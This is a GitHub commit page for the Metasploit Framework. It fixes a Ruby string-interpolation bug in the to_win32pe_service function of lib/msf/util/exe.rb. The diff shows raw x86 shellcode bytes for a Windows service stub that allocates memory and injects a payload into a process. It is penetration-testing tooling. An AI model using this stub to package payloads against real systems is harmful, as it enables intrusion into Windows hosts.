Skip to content

Commit 333d420

Browse files
committed
Fix refactoring bug from 23 october in util/exe
23 October, {} instead of #{} totally break windows service generation rapid7@f19b093#diff-0f5729034d8b0b321e738f2fc047854fL578
1 parent 0199e4d commit 333d420

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

lib/msf/util/exe.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -558,7 +558,7 @@ def self.to_win32pe_service(framework, code, opts = {})
558558
"\x8D\x85#{[svcmain_code_offset].pack('<I')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
559559
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
560560
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
561-
"{[hash_code_offset].pack('<I') + pushed_service_name}\x89\xE1\x8D" +
561+
"#{[hash_code_offset].pack('<I') + pushed_service_name}\x89\xE1\x8D" +
562562
"\x85#{[svcctrlhandler_code_offset].pack('<I')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
563563
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
564564
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
@@ -568,7 +568,7 @@ def self.to_win32pe_service(framework, code, opts = {})
568568
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
569569
"\x40\x68\x00\x10\x00\x00\x68#{[code.length].pack('<I')}\x57\x51\x68\xAE\x87" +
570570
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
571-
"{[shellcode_code_offset].pack('<I')}\x54\x68#{[code.length].pack('<I')}" +
571+
"#{[shellcode_code_offset].pack('<I')}\x54\x68#{[code.length].pack('<I')}" +
572572
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
573573
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
574574
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +

0 commit comments

Comments
 (0)